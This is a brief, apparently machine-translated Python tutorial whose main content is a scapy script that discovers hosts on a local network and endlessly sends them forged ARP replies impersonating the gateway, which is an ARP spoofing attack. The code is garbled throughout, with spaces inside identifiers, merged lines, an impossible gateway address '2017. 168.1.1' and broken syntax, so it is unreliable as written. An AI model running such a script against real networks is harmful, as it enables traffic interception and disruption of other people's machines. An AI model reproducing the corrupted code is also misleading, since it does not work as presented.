Python uses arp spoofing to forge a gateway, and pythonarp spoofs the gateway.
This example describes how to use arp to spoof a gateway in python. Share it with you for your reference. The specific implementation method is as follows:
# Coding: UTF-8 ''' arp spoofing the LAN pc and sending the forged gateway mac to the pc using the gateway's arp response ''' from scapy. all import ARP, send, arpingimport sys, restdout = sys. stdoutIPADDR = "192.168.1. * "gateway_ip = '2017. 168.1.1 '# counterfeit gateway mac address gateway_hw = '00: 11: 22: 33: 44: 55' p = ARP (op = 2, hwsrc = gateway_hw, psrc = gateway_ip) def arp_hack (ip, hw): # counterfeit arp response from the gateway t = p t. hwdst = hw t. pdst = ip send (t) def get_host (): # obtain the mac address of the online host and the corresponding ip address hw_ip = {} sys. stdout = open ('host. info', 'w') arping (IPADDR) sys. stdout = stdout f = open ('host. info', 'R') info = f. readlines () f. close del info [0] del info [0] for host in info: temp = re. split (r '\ s +', host) hw_ip [temp [1] = temp [2] return hw_ipif _ name _ = "_ main __": hw_ip = get_host () while 1: for I in hw_ip: arp_hack (hw = I, ip = hw_ip [I])
I hope this article will help you with Python programming.